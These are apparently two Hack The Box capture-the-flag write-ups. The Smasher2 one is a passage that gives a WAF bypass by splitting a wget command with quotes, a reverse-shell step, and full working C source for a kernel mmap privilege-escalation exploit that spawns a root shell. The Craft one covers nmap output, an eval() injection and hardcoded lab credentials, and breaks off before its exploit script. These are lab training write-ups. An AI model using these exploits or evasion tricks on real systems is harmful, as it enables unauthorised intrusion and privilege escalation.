I wrote a small script to execute commands through /api/<key>/job as we saw earlier in auth.py, the script was meant for testing purposes:
However when I tried other commands I got a 403 response indicating that the server was protected by a WAF:
cmd: curl http://10.10.xx.xx
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job
on this server.<br />
</p>
<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address>
</body></html>
cmd:
I could easily bypass it by inserting single quotes in the command:
cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
cmd:
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.135 - - [13/Dec/2019 08:18:33] code 404, message File not found
10.10.10.135 - - [13/Dec/2019 08:18:33] "GET /test HTTP/1.1" 404 -
To automate the exploitation process I wrote this small exploit:
I hosted it on a python server and I started a netcat listener on port 1337 then I ran the exploit:
We owned user.
dhid.ko: Enumeration
After getting a shell I copied my public ssh key to /home/dzonerzy/.ssh/authorized_keys and got ssh access.
In the home directory of dzonerzy there was a README containing a message from him saying that we’ll need to think outside the box to root smasher2:
[email protected]:~$ ls -al
total 44
drwxr-xr-x 6 dzonerzy dzonerzy 4096 Feb 17 2019 .
drwxr-xr-x 3 root root 4096 Feb 15 2019 ..
lrwxrwxrwx 1 dzonerzy dzonerzy 9 Feb 15 2019 .bash_history -> /dev/null
-rw-r--r-- 1 dzonerzy dzonerzy 220 Feb 15 2019 .bash_logout
-rw-r--r-- 1 dzonerzy dzonerzy 3799 Feb 16 2019 .bashrc
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .cache
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .gnupg
drwx------ 5 dzonerzy dzonerzy 4096 Feb 17 2019 .local
-rw-r--r-- 1 dzonerzy dzonerzy 807 Feb 15 2019 .profile
-rw-r--r-- 1 root root 900 Feb 16 2019 README
drwxrwxr-x 4 dzonerzy dzonerzy 4096 Dec 13 12:50 smanager
-rw-r----- 1 root dzonerzy 33 Feb 17 2019 user.txt
[email protected]:~$ cat README
.|'''.| '||
||.. ' .. .. .. .... .... || .. .... ... ..
''|||. || || || '' .|| ||. ' ||' || .|...|| ||' ''
. '|| || || || .|' || . '|.. || || || ||
|'....|' .|| || ||. '|..'|' |'..|' .||. ||. '|...' .||. v2.0
by DZONERZY
Ye you've come this far and I hope you've learned something new, smasher wasn't created
with the intent to be a simple puzzle game... but instead I just wanted to pass my limited
knowledge to you fellow hacker, I know it's not much but this time you'll need more than
skill, you will need to think outside the box to complete smasher 2 , have fun and happy
Hacking!
free(knowledge);
free(knowledge);
* error for object 0xd00000000b400: pointer being freed was not allocated *
[email protected]:~$
After some enumeration, I checked the auth log and saw this line:
I opened the module in ghidra then I started checking the functions:
The function dev_read() had a hint that this is the intended way to root the box:
longdev_read(undefined8param_1,undefined8param_2){intiVar1;__fentry__();iVar1=_copy_to_user(param_2,"This is the right way, please exploit this shit!",0x30);return(ulong)(-(uint)(iVar1==0)&0xf)-0xe;}
One interesting function that caught my attention was dev_mmap():
In case you don’t know what mmap is, simply mmap is a system call which is used to map memory to a file or a device. (Check this)
The function dev_mmap() is a custom mmap handler.
The interesting part here is the call to remap_pfn_range() function (remap kernel memory to userspace):
If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:
This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.
dhid.ko: Exploitation –> Root Shell –> Root Flag
Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred structure (The cred structure holds our process credentials) then overwrite our uid and gid with 0 and execute /bin/sh. Let’s go through it step by step.
First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
intmain(intargc,char*const*argv){printf("[+] PID: %d\n",getpid());intfd=open("/dev/dhid",O_RDWR);if(fd<0){printf("[!] Open failed!\n");return-1;}printf("[*] Open OK fd: %d\n",fd);unsignedlongsize=0xf0000000;unsignedlongmmapStart=0x42424000;unsignedint*addr=(unsignedint*)mmap((void*)mmapStart,size,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0x0);if(addr==MAP_FAILED){perror("[!] Failed to mmap");close(fd);return-1;}printf("[*] mmap OK address: %lx\n",addr);intstop=getchar();return0;}
Now we can start searching for the cred structure that belongs to our process, if we take a look at the how the cred structure looks like:
structcred{atomic_tusage;#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_tsubscribers;/* number of processes subscribed */void*put_addr;unsignedmagic;#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_tuid;/* real UID of the task */kgid_tgid;/* real GID of the task */kuid_tsuid;/* saved UID of the task */kgid_tsgid;/* saved GID of the task */kuid_teuid;/* effective UID of the task */kgid_tegid;/* effective GID of the task */kuid_tfsuid;/* UID for VFS ops */kgid_tfsgid;/* GID for VFS ops */unsignedsecurebits;/* SUID-less security management */kernel_cap_tcap_inheritable;/* caps our children can inherit */kernel_cap_tcap_permitted;/* caps we're permitted */kernel_cap_tcap_effective;/* caps we can actually use */kernel_cap_tcap_bset;/* capability bounding set */kernel_cap_tcap_ambient;/* Ambient capability set */#ifdef CONFIG_KEYS
unsignedcharjit_keyring;/* default keyring to attach requested
* keys to */structkey*session_keyring;/* keyring inherited over fork */structkey*process_keyring;/* keyring private to this process */structkey*thread_keyring;/* keyring private to this thread */structkey*request_key_auth;/* assumed request_key authority */#endif
#ifdef CONFIG_SECURITY
void*security;/* subjective LSM security */#endif
structuser_struct*user;/* real user ID subscription */structuser_namespace*user_ns;/* user_ns the caps and keyrings are relative to. */structgroup_info*group_info;/* supplementary groups for euid/fsgid *//* RCU deletion */union{intnon_rcu;/* Can we skip RCU deletion? */structrcu_headrcu;/* RCU deletion hook */};}
We’ll notice that the first 8 integers (representing our uid, gid, saved uid, saved gid, effective uid, effective gid, uid and gid for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:
kuid_tuid;/* real UID of the task */kgid_tgid;/* real GID of the task */kuid_tsuid;/* saved UID of the task */kgid_tsgid;/* saved GID of the task */kuid_teuid;/* effective UID of the task */kgid_tegid;/* effective GID of the task */kuid_tfsuid;/* UID for VFS ops */kgid_tfsgid;/* GID for VFS ops */
These 8 integers are followed by a variable called securebits:
Then that variable is followed by our capabilities:
kernel_cap_tcap_inheritable;/* caps our children can inherit */kernel_cap_tcap_permitted;/* caps we're permitted */kernel_cap_tcap_effective;/* caps we can actually use */kernel_cap_tcap_bset;/* capability bounding set */kernel_cap_tcap_ambient;/* Ambient capability set */
Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred structure pattern we’ll overwrite each integer of the 8 with a 0 and check if our uid changed to 0, we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff and execute /bin/sh. Let’s try to implement the search for cred structures first.
To do that we will get our uid with getuid():
unsignedintuid=getuid();
Then search for 8 consecutive integers that are equal to our uid, when we find a cred structure we’ll print its pointer and keep searching:
Now we need to overwrite the cred structure that belongs to our process, we’ll keep overwriting every cred structure we find and check our uid, when we overwrite the one that belongs to our process our uid should be 0:
credIt=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;if(getuid()==0){printf("[*] Process cred structure found ptr: %p, crednum: %d\n",addr,credNum);break;}
pwn.c:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
intmain(intargc,char*const*argv){printf("[+] PID: %d\n",getpid());intfd=open("/dev/dhid",O_RDWR);if(fd<0){printf("[!] Open failed!\n");return-1;}printf("[*] Open OK fd: %d\n",fd);unsignedlongsize=0xf0000000;unsignedlongmmapStart=0x42424000;unsignedint*addr=(unsignedint*)mmap((void*)mmapStart,size,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0x0);if(addr==MAP_FAILED){perror("Failed to mmap: ");close(fd);return-1;}printf("[*] mmap OK address: %lx\n",addr);unsignedintuid=getuid();printf("[*] Current UID: %d\n",uid);unsignedintcredIt=0;unsignedintcredNum=0;while(((unsignedlong)addr)<(mmapStart+size-0x40)){credIt=0;if(addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid){credNum++;printf("[*] Cred structure found! ptr: %p, crednum: %d\n",addr,credNum);credIt=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;if(getuid()==0){printf("[*] Process cred structure found ptr: %p, crednum: %d\n",addr,credNum);break;}else{credIt=0;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;}}addr++;}fflush(stdout);intstop=getchar();return0;}
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
intmain(intargc,char*const*argv){printf("\033[93m[+] PID: %d\n",getpid());intfd=open("/dev/dhid",O_RDWR);if(fd<0){printf("\033[93m[!] Open failed!\n");return-1;}printf("\033[32m[*] Open OK fd: %d\n",fd);unsignedlongsize=0xf0000000;unsignedlongmmapStart=0x42424000;unsignedint*addr=(unsignedint*)mmap((void*)mmapStart,size,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0x0);if(addr==MAP_FAILED){perror("\033[93m[!] Failed to mmap !");close(fd);return-1;}printf("\033[32m[*] mmap OK address: %lx\n",addr);unsignedintuid=getuid();puts("\033[93m[+] Searching for the process cred structure ...");unsignedintcredIt=0;unsignedintcredNum=0;while(((unsignedlong)addr)<(mmapStart+size-0x40)){credIt=0;if(addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid){credNum++;credIt=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;if(getuid()==0){printf("\033[32m[*] Cred structure found ! ptr: %p, crednum: %d\n",addr,credNum);puts("\033[32m[*] Got Root");puts("\033[32m[+] Spawning a shell");credIt+=1;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;execl("/bin/sh","-",(char*)NULL);puts("\033[93m[!] Execl failed...");break;}else{credIt=0;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;}}addr++;}return0;}
And finally:
[email protected]:/dev/shm$ ./pwn
[+] PID: 1153
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[+] Searching for the process cred structure ...
[*] Cred structure found ! ptr: 0xb60ad084, crednum: 20
[*] Got Root
[+] Spawning a shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)
#
We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Craft retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.110, I added it to /etc/hosts as craft.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 13:41 EST
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.97 seconds
[email protected]:~/Desktop/HTB/boxes/craft#
We got https on port 443 and ssh on port 22.
Web Enumeration
The home page was kinda empty, Only the about info and nothing else:
The navigation bar had two external links, one of them was to https://api.craft.htb/api/ and the other one was to https://gogs.craft.htb:
So I added both of api.craft.htb and gogs.craft.htb to /etc/hosts then I started checking them. https://api.craft.htb/api:
Here we can see the API endpoints and how to interact with them.
We’re interested in the authentication part for now, there are two endpoints, /auth/check which checks the validity of an authorization token and /auth/login which creates an authorization token provided valid credentials.
We don’t have credentials to authenticate so let’s keep enumerating.
Obviously gogs.craft.htb had gogs running:
The repository of the API source code was publicly accessible so I took a look at the code and the commits.
Dinesh’s commits c414b16057 and 10e3ba4f0a had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py where user’s input is being passed to eval() without filtering:
@@-38,9+38,13@@classBrewCollection(Resource):"""
Creates a new brew entry.
"""--create_brew(request.json)-returnNone,201++# make sure the ABV value is sane.
+ifeval('%s > 1'%request.json['abv']):+return"ABV must be a decimal value less than 1.0",400+else:+create_brew(request.json)+returnNone,201@ns.route('/<int:id>')@api.response(404,'Brew not found.')
I took a look at the API documentation again to find in which request I can send the abv parameter:
As you can see we can send a POST request to /brew and inject our payload in the parameter abv, However we still need an authorization token to be able to interact with /brew, and we don’t have any credentials.
The other commit was a test script which had hardcoded credentials, exactly what we need:
+response=requests.get('https://api.craft.htb/api/auth/login',auth=('dinesh','4aUh0A8PbVJxgd'),verify=False)+json_response=json.loads(response.text)+token=json_response['token']++headers={'X-Craft-API-Token':token,'Content-Type':'application/json'}++# make sure token is valid
+response=requests.get('https://api.craft.htb/api/auth/check',headers=headers,verify=False)+print(response.text)+
I tested the credentials and they were valid:
RCE –> Shell on Docker Container
I wrote a small script to authenticate, grab the token, exploit the vulnerability and spawn a shell. exploit.py:
Login
